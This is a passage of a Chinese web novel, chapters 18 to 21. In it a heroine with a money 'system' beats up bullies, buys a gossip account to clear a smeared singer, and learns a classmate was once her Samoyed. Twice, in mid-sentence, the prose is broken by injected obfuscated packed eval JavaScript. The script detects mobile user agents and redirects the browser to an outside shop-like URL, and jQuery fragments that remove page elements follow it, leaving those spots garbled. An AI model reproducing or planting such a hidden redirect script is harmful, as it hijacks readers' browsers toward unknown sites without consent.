“施浓,我是不是给你脸了,你他妈又打我?这是第几回了?老子让着你,不想打女人,也不想跟你一般见识,你当老子好欺负,对着老子贴脸开大啊?!” 此时的凌云灏就像只被激怒的野兽,伸手就想抓施浓的肩膀。 可他还没抓到,就被施浓扣住手腕,顺势往下一拉,膝盖同时狠狠顶上他的腹部,毫不留情。 凌云灏闷哼一声,本来捂脸的手又捂起了肚子,然后蜷缩着倒在了地上。 施浓居高临下地看着他,语气里满是嘲讽。 “呵,废物。” “???” 听到这话,凌云灏瞬间炸了。 他理智全无,目光扫了一圈呆在原地他的狐朋狗友们,怒吼出声。 “你们都他妈愣着干嘛?!” 那群纨绔子弟被他这么一吼,互相使了个眼色,几乎一哄而上,朝着施浓逼近。 一旁的连牧尧眉头微蹙,脚步一动,刚准备上前。 就在这时,施浓侧过头,对他递来一个眼神。 那眼神里没有半分惊慌失措,反而带着一种跃跃欲试的兴奋,以及一种在他梦中出现过无数次,他无比熟悉的、近乎狂野的意气风发。 连牧尧的脚步猛地顿住,心脏一滞,而后猛烈跳动。 他愣愣地看着施浓。 施浓正在活动手腕,此时她的眼里散发着兴奋到甚至有些变态的光芒。 说真的,她好久都没酣畅淋漓地揍过人了。 那滋味……啧,还怪怀念的。 说时迟那时快,就在连牧尧愣神的几十秒内,那几个人高马大的男人,连施浓的衣角都没有摸到,就已经被她干脆利落地挨个放倒在地。 一个,两个,三个……现场很快哀嚎一片。 施浓站在哀嚎的人群中央,摊开双手,无辜耸肩,笑得很享受也很轻蔑。 “就这?呵,一群废物。有够菜的。” 说着,她提高了声音,大声道:“这话我只说一遍,你们听好。” “我不再是以前的施浓,以前的我谁都可以欺负,以后的我谁都欺负不了。所以识相的,都离我远点,别再来骚扰我,否则——” 她环视一圈,一字一句道:“别说明天的太阳了,我保证,你们连今晚的月亮都看不到!” “……” 说完,她从兜里掏出手机,当着他们所有人的面,利落地将地上躺着的这群人的号码统统拖进了黑名单,其中也包括凌云灏的。 然后,她不紧不慢地理了理有些凌乱的发丝和衣角,转头看向李察,面色平静,就好像刚才那个大杀四方的人不是她。 “李哥,见笑了哈。你怎么走?需要我给你叫个车吗?” 近距离看完全程的李察吓得酒都醒了大半,他愣愣地点头,又赶紧摇头。 “不、不用麻烦了,我车就在附近,我叫、叫个代驾就行。施妹子你……你忙你的,不用管我。” 他语气里带着明显的敬畏。 “行,那你注意安全。” 施浓点点头,没再多说什么。 她又看向连牧尧。 只见连牧尧那小子正目不转睛地看着她,眼睛亮得惊人。 然后,毫无预兆地,他突然笑出了声。 还是那种很开怀的大笑,像是有天大的好事发生。 “……” 笑屁啊? 施浓莫名其妙地看着他,原本准备好的感谢的话也卡在了喉咙里。 她微微蹙眉。 还没等她细想,只见连牧尧几步就走到她面前,距离拉近,他弯下腰深深地凝视着她的眼眸,就像是在看一位多年未见、久别重逢的故人。 施浓下意识后退一步。 连牧尧看着她,像是重新认识了她一遍,声音带着笑,却又无比认真。 “施浓,你真是……一次又一次,很让我惊喜。” 18. 我是甲方 “???” 施浓的脑袋里瞬间被一连串的问号刷屏。 一次又一次? 这用词是不是夸张了点? 他们拢共也没见过几次……很熟吗?? 而且,他靠她那么近干嘛? 近得她都能看清他眼睛里她的倒影了—— 哦莫,是谁的睫毛卷翘浓密啊? 是谁的眼睛明亮动人啊? 是谁的皮肤白皙透亮啊? 是她是她还是她! 天生丽质就是她! …… 对着连牧尧眼中的倒影沉浸式欣赏了一会自己的美貌,直到对方轻轻挑眉,施浓才猛地回神。 糟糕,差点被自己美到忘记正事。 她不着痕迹地后退一步,巧妙地和连牧尧保持了一个合适的社交距离,结束了这场走向清奇的对视。 施浓清了清嗓子,努力把话题拉回正轨。 “连牧尧,刚才的事,还有以前在学校……谢谢你。” 这话施浓说得真心实意,人家确实帮了她,不管怎么说,该谢还是要谢的,她这人一向爱憎分明,最不喜欢欠别人的人情。 看着施浓一本正经道谢的样子,连牧尧微微挑眉,表现得很惊讶。 “你还会跟我说谢谢?我还以为你很讨厌我呢。毕竟,你以前可不止一次骂过我,还言辞激烈地对我说你的人生你自己做主,如果我再多管闲事就让我入土……” “……” 啊,她还说过这样的话吗? 往事不堪回首,施浓心虚地低下了头。 以前的事确实是她理亏。 上学的时候,凌云灏整天跟使唤狗一样使唤她,骑在她的头上作威作福。 连牧尧是他们隔壁班的,撞见过几次,可能是看不过去,好心帮她,替她怼了凌云灏好几次。 但在男主控系统的指使下,她非但不能对人家表达感谢,还得护着凌云灏,对人家恩将仇报,照着狗系统给的稿子骂人家。 有些话骂得确实难听,连她自己都听不下去…… 虽说她本来不想那么做,罪魁祸首是那该死的狗系统,但现在狗系统又不在,她又没法跟他解释这其中的弯弯绕绕,那就只能由她背下这口大黑锅。 施浓无奈地叹了口气,抬头,态度诚恳道:“以前确实是我年纪小,不懂事,眼神也不好,说了很多不中听的话……” 她一边说一边观察连牧尧的脸色。 只见他眉梢微不可察地挑了一下,眼里含着几分笑意,好整以暇地看着她,看起来似乎很好说话的样子。 施浓松了口气,继续道:“虽说我们接触不多,不是很熟,但我一看你这人就心地善良、心胸宽广,路见不平还愿意拔刀相助。 像你这样德才兼备、品貌双全的道德标杆,肯定不会把我那点微不足道的冒犯放在心上的,对吧?” “……” 这一波彩虹屁吹得…… 连牧尧眼底的笑意再也藏不住。 他十分配合地点了点头,“你说得对。” “太好了!你果然是宽宏大量的人!” 眼看着连牧尧这么好说话,不是那种斤斤计较、记仇的人,施浓表示很开心。 接下来的事情就很好办了。 “既然这样,那你什么时候有空,要不我请你吃个饭吧?既是表达歉意,也是表达感谢。” 说这句话的时候,施浓已经做好了被拒绝的打算。 在这世界摸爬滚打十几年的她,早已深谙这个世界的社交法则。 她和连牧尧并不算熟络,只是见过几面,没有更多的交集。 这种情况,面对吃饭邀约,大多数人的第一反应都是拒绝。 又不缺这一顿饭,而且做好事的目的也不是为了蹭这一顿饭。 心意收到了就好,也不需要非得得到一些物质上的回报。 然而—— “好啊。” 连牧尧答应得干脆利落,没有半分推辞。 “……啊?” 他这突如其来的两个字,直接给施浓整不会了。 施浓满脑子的问号,没等她反应过来,连牧尧甚至已经跟她商量起了具体的安排。 “什么时候?要不明天晚上?我知道有家新开的川菜馆,环境和菜品都很好,你觉得呢?” 施浓:“……” 呃,都行。 …… 最后真的和连牧尧约上了一顿饭,虽说这个结果有点意外,但施浓也没多想。 毕竟,请人家吃饭本来就是应该的。 施浓很快就将这件事抛之脑后,她眼下还有更重要的事情要做。 回到家后,施浓休息片刻,便干起了正事。 她坐在沙发上,打开了笔记本电脑。 点开微博,登录刚收购的营销号瓜田里的小猹的后台。 霎时间,无数消息蜂拥而至。 施浓粗略翻了翻,私信五花八门,有催更的,有骂街的,还有试图投广告的。 她又翻了翻过往内容,确实如李察所说,风格偏沙雕娱乐,时不时就发点明星红黑稿,粉丝活跃度还不错。 接着,她插入了李察给她的U盘。 这个U盘里的东西还挺杂的,基本上都是一些关于营销账号发布内容的东西。 施浓飞快地浏览着里面的内容,终于在一个文件夹里找到了和郁森屿有关的东西。 首先是几张聊天记录的截图,一方是李察,另一方的头像是一个很显眼的大写字母M,身份不明。 记录里清晰显示了M和李察的交易全过程,M明确指示黑稿方向,要求李察要着重在郁森屿抄袭上做文章,最好往死里捶。 可能担心李察整不明白,这个M甚至还贴心地给他提供了两份所谓的实锤证据—— 一份是声称郁森屿专辑的主打歌曲《gift》和海外发行的一首冷门歌曲波形相似度高达38%的PDF报告,还有一份是将两首歌简谱并排对比、用红圈标注雷同处的详解视频。 施浓皱着眉头点开视频,耳机里传来的两首歌的旋律确实有几分相似。 如果不是她确定郁森屿没有抄袭,恐怕她也会被这两份实锤证据误导,毕竟吃瓜群众又不会深究这些实锤证据到底是不是真的。 啧,对方这准备得这么充分,绝对不是一时兴起,而是有备而来,就是为了搞垮郁森屿。 郁森屿他到底得罪什么人了? 施浓撇撇嘴,看着这些东西,脑子飞速转动。 李察发布的有关郁森屿的黑料主要都在抄袭上,她反黑的思路其实也很简单,就是用真证据捶死造假。 也就是说,她需要用更加专业、更权威的声音,把这两份伪证锤烂。 目标很明确,可问题就是—— 她要上哪去找既专业又愿意蹚这浑水的人呢? 郁森屿现在可是全网黑的对象啊! 施浓皱眉思索了半天,最后只能想到一个办法—— 看来,她只能……再次动用她的钞能力了! 一想到又要花钱,施浓就感觉自己的心在滴血。 她现在可真是一分钱没赚,全往里搭了。 说多了都是泪。 “亿哥。” 施浓悲痛地呼唤系统。 “你快帮我筛选几个靠谱的音乐分析博主或者专业的乐评人,最好业务能力过硬,还有一定粉丝基础,当然最重要的是……价格别太离谱!” 最后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487098|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句她着重强调。 【……】 听了这话,系统沉默了片刻,还是忍不住道:【宿主,不是我说,你可是未来会拥有五百亿财富的女人,花钱至于这么……咳,精打细算吗?咱能不能眼光放长远些,花钱大气点?把咱的格局拿出来啊!】 “……” 施浓斜睨它一眼,冷冷道:“你别和我扯那么多,我不想听。你就说你现在能给我爆金币吗?不能就闭嘴。” 【……】 系统不说话了。 没多久,光屏上迅速列出三位候选人的资料—— 【第一位是资深乐评人,专业度较高,影响力较高,报价较高。 第二位是音乐学院副教授,专业度极高,影响力极高,报价极高。 第三位是音乐区UP主,专业度较高,影响力中等,报价中等。】 这三位候选人的信息一列出来,没有一丝犹豫,施浓立马就选定了最符合她条件的音乐区UP主。 消息发出去没多久,她就收到了回复—— “呃,不好意思啊,最近档期太满,实在排不开。” “……” 也不知道是真忙还是假忙…… 出师不利。 施浓没有灰心,她转向了专业度和影响力更高的资深乐评人。 这次回复得更快,也更直接—— “郁森屿?抱歉,不点评有争议的艺人。” “……” 又一次被拒绝,但施浓并没有气馁。 她又找到了专业度最高的音乐学院副教授,这次给得价钱格外到位,诚意满满。 可得到的回复却是—— “感谢认可,但学术研究繁忙,无暇参与此类网络纷争。” 言下之意,你钱给得是很多,但我的清誉更重要。 “……” 行吧。 连着三次被拒绝,施浓彻底没脾气了。 沉默片刻,她也想开了。 这个世界有恰钱的人,就有珍惜羽毛的人。 如果她注定无法用钱打动有原则的人,那她就只能……去找那个最容易被钱打动的人了。 她面无表情地关掉和音乐学院副教授的对话框,转头重新点开和音乐区UP主的对话框,埋头敲字,动作行云流水。 “原定的报酬再翻两倍。视频发布后若产生任何法律纠纷,所有律师费我一力承担,并额外支付一笔风险补偿金。” 这一次,消息几乎是秒回—— “金主爸爸您好!仔细想了想,我觉得为音乐行业的清风正气贡献一份力量是我们当代自媒体人责无旁贷的任务!所以您需要我重点从哪个角度深度切入分析呢?我立马给您安排!” “……” 呦呵,你小子又有档期了啊? 有钱就是好使。 曾经的你对我爱搭不理,现在的你档期都能排得开了:) 施浓深呼一口气,回复道:“没有具体的要求,你实事求是就行。” “好嘞,保证完成任务!” 对方自信满满地回复。 事情总算是有了进展。 施浓刚准备关掉对话框,就看见聊天框顶部提示“对方正在输入……”。 音乐区UP主似乎还有话要对她说,正在斟酌词句。 施浓还以为他要说什么,没想到收到消息后,是这样一句话—— “老板,那个……那个我还有个小问题,不知道当讲不当讲……” 他似乎有点不太好意思,吞吞吐吐的。 施浓脾气很好地回复:“没事,你说。” “那个,我想确认一下,您说的那个报酬……是税前还是税后呢?” 施浓:“……” 19. 网瘾少女 【哈哈哈哈哈哈。】 施浓还没说话,系统率先憋不住笑了。 系统看热闹不嫌事大道:【宿主,确认过眼神,这可能是你异父异母的亲兄弟啊,你俩这对钱的态度简直是……卧龙凤雏,如出一辙啊。】 “……” 施浓的嘴角抽搐了下。 其实也不怪系统幸灾乐祸,她本来还以为那小子要问她什么有水平的问题,结果……就这??? 她给的可是好几倍的价钱啊! 好几倍啊!! 那小子居然还在纠结税前税后??? 格局能不能打开啊! 施浓深吸一口气,告诉自己要冷静。 她努力安慰自己。 也许换个角度想想,这其实是好事? 这人对报酬这么较真,说明他对数字敏感,做事想必也很严谨吧,要不……他怎么好意思从她这拿这么多钱! 算了。 施浓破罐子破摔地想。 反正她都给那么多了,也不在乎再多给点。 只要这小子能把事做好,一切都好说。 施浓大局观拉满,扬起友善的微笑,友好回复他。 “是税后哦,放心:)” 对方几乎秒回。 “老板大气!我这就去闭关,态度绝对端正,键盘都给它敲出火星子,不做出让您满意的视频我绝对不睡觉……” “但是——” 就在音乐区UP主balabala,一句接一句疯狂表决心的时候,施浓不紧不慢地补上一句。 “如果视频效果我不满意,我想我们就非常有必要坐下来,好好掰扯掰扯怎么……” 她停顿了下,继续道:“扣钱了哦。” 扣工资警告!! “……” “!!!” 什么,居然还有扣钱这一说??? 一听这话,音乐区UP主顿时不说话了。 施浓看着沉寂的聊天框,心情很不错。 她用脚趾头想也知道音乐区UP现在是在干嘛。 肯定在骂她呗。 但她并不care。 谁让她是甲方呢。 当甲方就是可以无理提要求,就是爽啊!! 谁让她花钱了呢。 花钱的就是大爷!! …… 结束了和音乐区UP主的对话,施浓美美地躺到沙发上,舒服地叹了口气。 折腾了大半天,累是累了点……但好在人找到了,不算白忙活。 闭目养神片刻,闲着也是闲着,施浓又兴致勃勃地摆弄起新到手的营销号。 她之前没搞过这种东西,现在看什么都很新奇。 这点点那翻翻,最后施浓的目光定格在@瓜田里的猹这个ID上。 她摩挲着下巴,认真思考,既然这个账号已经换新主人了,那是不是也该换个新ID? 说换就换。 施浓认真思索了半天,指尖飞舞,很快敲定了一个新名字—— 今天郁森屿洗白了吗 言简意赅,主题鲜明,目标明确。 就两个字,完美! 看着这个新鲜出炉的ID,施浓连连点头,非常满意。 新账号新气象,反黑攻坚战马上打响,百亿财富就在前方。 而她,也即将成为史上最年轻、最美丽、最迷人的百亿大富翁! 哈哈哈哈哈。 光是想想就觉得人生充满希望呢。 就在施浓满怀希望,无尽畅想未来的时候,一连串消息的提示音无情打断了她的幻想。 营销号的ID刚改完,她就收到了无数评论,速度快得简直让人眼花缭乱。 施浓简单翻了翻,这些评论出奇地一致—— 一致地不中听。 …… “???猹哥被盗号了?” “这是什么鬼名字啊?你居然要给郁森屿洗白?怎么,你杀人被他看到了???” “笑死,郁森屿那种抄袭狗也能洗白?懂了,钞能力是吧?” “说吧,他给了你多少?以前一口一个家人,恰饭的时候居然不带上我?取关了取关了,没良心的狗东西!” “……” 看着满屏的亲切问候,有的甚至已经问候起了她的祖宗十八代,施浓不仅没生气,眼睛反而亮了起来。 她赶紧翻了翻。 距离李察上一次发微博是三个月以前的事情了,她还以为这个账号的流量和热度会因此有明显的下降,没想到—— 她这刚改个名字,就吸引来了一大堆人…… 别说,你还真别说。 李察这粉丝的粘性是高啊! 网速还快!! 既然这届网友这么给力,她也不能逊色不是? 这可是个好机会。 来吧,是时候让她正式打响这场反黑战役的第一枪了! 施浓活动了下手腕,键盘敲到飞起,十分宠粉地一一回复。 “???猹哥被盗号了?” 她回复:“能不能有点想象力?脑子是个好东西,建议你用用。” “这是什么鬼名字啊?你要给郁森屿洗白?怎么,你杀人被他看到了?” 她回复:“想象力这么丰富?语言也挺幽默……很有写小说的天赋。祝你成功吧。” “笑死,郁森屿那种抄袭狗也能洗白?懂了,钞能力是吧?” 她回复:“呦呵,还真被你小子猜对了,但没全对。钞能力有,事实真相的铁锤更有。后面会陆续放出来,希望不会捶哭你。” “说吧,他给了你多少?以前一口一个家人,恰饭居然不带上我?取关了取关了,没良心的狗东西。” 她回复:“想了解更多细节?可以,给我爆金币。你先V我50,我就告诉你。” …… 施浓延续李察原来沙雕又毒舌的说话风格,和评论区的网友你来我往,激情对线。 这届网友可真好玩,吵架更好玩。 施浓在评论区玩得不亦乐乎,并下定了某种决心—— 她要一直玩下去! 在音乐区UP主把视频搞出来前,她就负责在评论区吵架。 俗话说得好,哪里有吵架,哪里就有流量。吵得越狠,地位越稳。 她就这样一直吵下去,然后等她后续发布澄清视频的时候,还愁不能引爆网络吗? 这可是李察言传身教给她的营销号终极奥义! 说干就干。 施浓做事一向认真,且说到做到。 她说要一直吵架,就真的在一直吵。 字面意思上的。 丝毫不夸张,整整十几个小时。 她一头扎进评论区,拔都拔不出来,整个人的状态已经有点疯魔。 她现在的状态就好像是一只磕了炫迈的猹,兴奋到离谱,根本停不下来。 她的手指在键盘上都能舞出残影,怼人金句也是信手拈来。 这事有利有弊。 好处是,她评论区的热度就像是坐了火箭一样直冲云霄; 坏处是,她的生物钟彻底颠倒,有点醉生梦死的感觉。 她的身体无比疲惫,精神却无比亢奋。 再加上玩梗太多,就连外卖小哥敲门给她送个餐,她都下意识想给人家配个音—— “你开门啊,有本事你就开门啊,你别躲在里面不出声,我知道你在家……” “……” 就两个字,上头。 四个字,非常上头。 十二个字,新一代魔丸网瘾少女现世了! 别说,你还真别说。 网络是让人上瘾哦。 以前的她没有体会,现在的她深有体会。 施浓看着在她的参与下,吵得越来越凶以及越来越多人参与的评论区。 她勾起一抹满意的微笑,深藏功与名—— 吵啊,都吵,吵点好啊。 …… 就在这时,突然“叮咚”一声。 一条微信消息暂时把施浓从网络世界拉回了现实。 她眯着因为熬夜而布满血丝的眼睛,迷迷糊糊地点开微信,看向屏幕—— 是一个好友申请。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487099|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 备注:连牧尧。 哦,连牧尧。 不对…… 连、牧、尧? 施浓盯着那三个字,大脑空白了三秒,而后一个鲤鱼打挺从床上弹起来,垂死病中惊坐起。 差点忘了。 还有顿饭!! 她以光速洗漱换装,冲出家门前还不忘对着镜子确认了下—— 嗯,虽然熬夜熬得眼圈发黑,但美貌依旧很在线。 不愧是她,天生丽质的大美人~ …… 当施浓踩着点,气喘吁吁地出现在饭店时,连牧尧已经好整以暇坐在那里了。 他明显已经到了很久,就连桌上的大麦茶都干了大半杯。 明明是她要请客吃饭,居然让客人来等她,实在是太不应该了。 还没等连牧尧开口,施浓赶紧抢先一步,露出一个无比真诚的笑容。 “实在对不起,久等了吧?堵车堵得太厉害了……这样吧,为表歉意,我自罚三杯!” 说着,她迫不及待端起桌上的大麦茶,二话不说咚咚咚就是干。 足足喝了三大杯! 嗝—— 喝完茶,施浓意犹未尽地砸吧砸吧嘴。 这茶……多好的茶啊。 真解渴啊! 就在这时,突然有人轻笑了声。 施浓缓缓抬起头。 只见连牧尧似笑非笑地看着她,贴心地往她水杯里又倒了杯水。 “还渴吗?要不再来一杯?” “……” 哦豁。 被他看穿了。 有点子尴尬,但她还能拯救。 施浓假装无事发生,脸不红心正常跳,睁着眼睛说瞎话。 “什么渴不渴的?我明明是来晚了,在奖励……哦不,是在惩罚我自己,你在说什么呢?” 她瞪着一双无辜的大眼睛。 我不是我没有我一点也不渴我只是在惩罚我自己。 脖子一梗,嘴硬到底。 连牧尧坐在她对面,手支着下巴,静静地看着她胡说八道。 他眼中的笑意都快溢出来了。 “对对,你不渴,是我渴。那你陪我喝一杯?” “……” “????” 连牧尧这话一出,直接把施浓干沉默了。 说真的。 不对劲,很不对劲。 她一脸狐疑地看着连牧尧。 这小子说话那么宠溺干嘛? 他们很熟吗?? 这也就算了,这小子还目不转睛地盯着她看,一边看一边笑。 她是什么金元宝吗? 有那么好看吗?? 施浓又不是傻子。 连牧尧看她的眼神…… 明显不清白啊。 还有,当她把菜单交到连牧尧的手里,也不知道是巧合还是故意的,这小子竟然点了满满当当一桌子她喜欢吃的菜。 不能说是完美拿捏她的喜好,那简直是在她的喜好上来回蹦迪! 嘶,这发展…… 明显不对劲啊。 这小子到底想干什么?? 里面绝对有诈!! 施浓饭也不吃了,审视地盯着连牧尧。 “上次我就想说了,你好像……很了解我?” 说吧,你小子到底有何居心,是不是在背后偷偷摸摸调查她??? 坦白从宽,抗拒从严,你小子最好老实交代!! 听到这话,连牧尧点点头,一副你终于发现了的模样。 “熟啊,当然熟,我们都快熟透了……” 施浓:“???” 他一脸认真,看起来不像是开玩笑。 施浓一头雾水。 什么时候的事,她本人怎么不知道? 还没等她开口问,连牧尧的嘴巴一张,那简直是吓死人不偿命,轻飘飘抛出一对王炸。 “你以前还亲手给我洗澡,夸我白白漂漂又香香……你难道都忘了吗?” 施浓:“……” 施浓:“????” 20. 谁在栽赃? 连牧尧那话一出,直接把施浓的CPU干烧了。 沉默半天,她蹭一下就站了起来,语无伦次,当场飙起了英文。 “You!Lookmyeyes!Sayitagain!” 翻译一下—— 你小子别放屁!有本事看着我的眼睛,再说一遍—— 谁给你洗的澡??? 连牧尧两手一摊,满脸无辜道:“是你啊。” 是你是你就是你。 “……” 谁在栽赃,谁在陷害?! 施浓呵呵两声,冷笑道:“汝甚狂,口出妄言,汝命休矣!” 翻译一下—— 你小子狗胆包天,不想活了直说,老子现在就送你上路,骨灰都给你扬了。 听了这话,连牧尧依旧表现得很淡定。 他不慌不忙地掏出手机,点开一张图片,放到施浓的面前。 “我不是胡说,我有证据……有没有觉得很眼熟?” 施浓的动作一顿。 只见手机屏幕上是一张白色萨摩耶的照片。 这只萨摩耶长得很漂亮,双眼皮,一脸的人畜无害,黑黑的眼睛巴巴地望着屏幕。就是看起来不太干净,满身的泥泞,灰头土脸的。 施浓看了看照片,又看了看连牧尧,满头的问号。 “???” “你想说什么……这和我们说的事有半毛钱关系??” 连牧尧看着她,不紧不慢道:“阿时,你不觉得这狗和你以前养的那只很像吗?” “当然,我指的不是这个世界,而是——” 说到这里,他顿了顿,笑得像只老谋深算的狐狸。 “末世。” 施浓:“???” …… 听到连牧尧的话,施浓惊得合不拢嘴。 这可真是太草了…… 这小子是怎么知道末世的??? 而且还知道阿时这个名字?? 他到底是谁??? 她目瞪口呆地看着连牧尧,愣在了原地。 此事说来话长,还得从她出生说起。 施浓并不是一出生就在末世。 在她十岁之前,她所在的世界和现在这个世界没什么区别。 那个时候没有死亡,没有杀戮,没有丧尸,安安稳稳,平静祥和。 她出生在十月中下旬,那是山茶花盛开的季节。 施浓的妈妈特别喜欢山茶花,施浓出生的那天正逢院子里的山茶花盛开,一簇一簇白色的花朵,浓浓的山茶花香,美丽又绚烂。 她随着白色山茶花而来,在她父母的眼里,她的出生恰逢其时,一切都是最好的安排,所以给她取了个小名,叫阿时。 时也谐音十,因为她是十月份出生的宝宝。 施浓的父母都是顶浪漫、顶善良的人。 他们喜欢摆弄花花草草,他们家的院子永远都是花香四溢、郁郁葱葱的样子,就像是个小花园。 夫妻俩还收养了不少流浪猫狗,个个养得明媚鲜亮、朝气蓬勃。 施浓一直很佩服她的父母,他们仿佛天生就很会照料生命,无论是植物、动物还是她,都能养得很好。 可惜,她一点也没遗传到这项天赋。 施浓常说自己养什么死什么,这话还真不是夸张,而是用血泪教训总结出来的大实话—— 五岁那年,她妈妈送给她一盆仙人掌,她每天都认真浇水,陪它说话,精心养护,一个月后,最好养活的仙人掌却不幸烂根了…… 甚至连刺都掉了个干净! 六岁那年养蚕宝宝,别的小朋友都收获了一大片白胖胖的蚕茧,她养的却集体绝食,最后饿殍遍野…… 七岁养小金鱼,金鱼翻肚皮的那天,她哭得比金鱼还要冤。 …… 这类事件一直持续到她十岁那年。 她十岁生日当天,施浓的爸爸妈妈送她了一条才两个月大的小萨摩耶。 小萨摩耶刚到她手里的时候,看起来小小的,像一团蓬松的棉花糖,眼睛黑亮亮的,特别有灵气,仿佛真能听懂人话。 小小的施浓对这只两个月大的小萨摩耶爱不释手,每天都耐心地给它洗澡、喂食,起床第一件事就是冲去检查它是不是还活着,生怕它死掉。 她小心翼翼地养了它一个月,小萨摩耶被她养得很好,每天活蹦乱跳的,精力旺盛。 它尤其喜欢在泥坑里打滚,经常把自己搞得灰头土脸的,所以施浓给它取名叫泥染,取自出淤泥而全身沾染的意思。 泥染小时候还是很调皮的,永远都是一脸人畜无害的样子做坏事,经常在家里搞破坏,每次它做错了事,黑黑的眼睛就巴巴地望着施浓,嗷呜嗷呜的,让人不忍心教训它。 施浓对它的要求也不高,就希望它好好活着。 泥染也很争气,在施浓的照料下,好好地活了五个月。 五个月! 那可是整整五个月啊! 比她从小到大养活其他小动物的时间加起来还要长,破了她的记录! 可惜,施浓还没来得及高兴,末世毫无预兆来了。 丧尸爆发,秩序崩塌,美好的日常瞬间碎成粉末。 施浓家里那些曾被精心照料的花草在混乱中凋零,收养的猫猫狗狗,死的死,散的散…… 她眼睁睁看着那个充满生机与爱的世界,在她面前轰然倒塌。 她的父母没了,家也没了。 小泥染也在一片混乱的枪声与嘶吼声里,与她走散了。 施浓不知道泥染是不是还活着,其实大概率也活不成,反正后来的日子里,她再也没有见过它。 …… 想到这里,施浓放下水杯,慢慢坐回座位,一脸狐疑地审视着连牧尧。 她在脑海里回忆着连牧尧的一言一行,将他之前那些意味深长的话飞快地过了一遍,一个极其荒谬却又很合理的可能性,如同惊雷般在她脑中炸开。 她不敢置信地瞪大双眼,连声音都带上了明显的颤抖。 “你别告诉我……你就是泥染??” 这话一出口,连她自己都觉得离谱。 然而—— 在她紧紧盯着的目光中,连牧尧并没有否认。 他支着下巴偏头看她,忽然露齿一笑,眼眸明亮。 “是我呀,原来你还记得我啊。” 然后,他故意拖长了语调,声音懒洋洋的,却又无比清晰,念出了那个久违的称呼。 “小主人。” “……” …… 连牧尧的那句小主人一出,施浓面上平静,心里早已掀起了惊涛骇浪。 她原以为他就是有点狗,没想到是真的狗。 字面意思上,真、的、狗。 曾经养的狗突然变成了人…… 就问离谱吗? 荒谬吗? 何止呢。 这事放在整个炸裂界,那也是相当炸裂的存在了! 施浓无助地喝了口水,紧急召唤系统。 【亿哥,亿哥!你快出来,SOS,这是怎么回事?连牧尧也是从末世过来的吗?他真是我的狗吗???】 【……】 沉默,一阵沉默。 就在施浓怀疑系统是不是出了什么故障的时候,它终于舍得开口了,一开口就是一堆废话文学。 【据我所知,我一无所知。反正这事就是这么个事,具体什么情况,我也得看情况。】 “……” 就多余问它。 施浓又看向了连牧尧。 毫无疑问,眼前的人长得很帅气,五官深邃,鼻梁高挺,眉骨和眼窝都很优越。 说实话,他看上去哪里都挺好的,就是…… 和她的狗没有半分相似的地方! 他怎么会是她的狗呢??? 好癫啊这个世界。 施浓想不通一点,她严重怀疑,是不是她昨天熬夜太多,精神压力过大,所以产生了幻觉? 不 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默默观察了一会,确定她并不认识这个人。 施浓收回视线,决定无视他。 但没想到,那个人还挺执着,见施浓不再看她,他的动作幅度更大了,居然开始小幅度蹦跳起来。 真的很难让人不注意。 连牧尧也注意到了这个人。 他看了看窗外,又看了看一脸无语的施浓,“外面那位……你认识?” 施浓端起杯子喝了口水,矢口否认道:“不认识……” 她的话音还未落,那个显眼包忽然就从窗外窜到了他们桌前,动作快得都能带起一阵风。 连牧尧:“……” 施浓:“???” 显眼包看都没看连牧尧一眼,目光炯炯地盯着施浓。 然后,他一把摘掉了碍事的口罩和墨镜—— 一张苍白但俊秀的脸露了出来。 这人微微喘着气,额角还带着些薄汗,偏浅蜜色的圆眼睛湿漉漉的,正一眨不眨地盯着施浓,里面盛着几乎要满溢出来的喜出望外。 “噗——” 看清这人的脸以后,施浓直接一口水喷了出来。 郁森屿??? 他怎么在这?? 顾不得多想,施浓连忙起身,心虚地瞥了眼四周,手忙脚乱地给他重新戴上口罩,然后赶紧拉着他坐下,生怕被别人发现。 她皱紧眉头,凑到郁森屿身边,刻意压低声音道:“你不好好在医院呆着……在这里干什么?” 郁森屿看见施浓小心翼翼的模样,有点忍俊不禁。 他强压住笑意,有样学样,同样低着头凑到她的身边,跟她窃窃私语。 “我现在很好,已经出院了。我一直在找你,但一直没找到你,没想到会在这里遇见你。” 不知道想到了什么,他眼眸一亮,热情道:“对了,你喜不喜欢吃糖包?刚出锅的,我请你吃啊。” “???” 这话题跳转得太快,施浓满头的问号。 “糖包?什么糖包?” 郁森屿笑得一脸神秘莫测。 他指了指窗外,开心道:“我包的啊。今天第一天开业,免费请你吃。” “……” 他包的……什么玩意??? 施浓的内心突然有点不好的预感。 她顺着郁森屿手指的方向望去。 只见街对面不远处,一辆闪烁着廉价七彩LED灯牌的橘黄色小推车,上面的一行大字格外刺眼—— “香甜可口的糖包,一块钱一个,快来买啊!” “……” “????” 全网黑的顶流歌手爆改面点师傅??? 施浓:…… 这可真是太草了。 21. 出人意料 此时此刻,施浓的内心有一万匹马在来回奔腾,她感觉一道惊雷直直地劈在她的天灵盖上,把她劈得外焦里嫩。 什么鬼啊? 郁森屿打算转行卖糖包吗? 他这是不打算在娱乐圈混了?? 施浓的眼前突然不停浮现出她这段时间为他呕心沥血、不眠不休的画面。 她为他搞营销号,为他忙前忙后,甚至熬夜爆肝,激情对线网友,真金白银往里造。 然后一扭头—— 好家伙,人家收拾收拾准备退圈卖糖包,就此开启新生活了?! 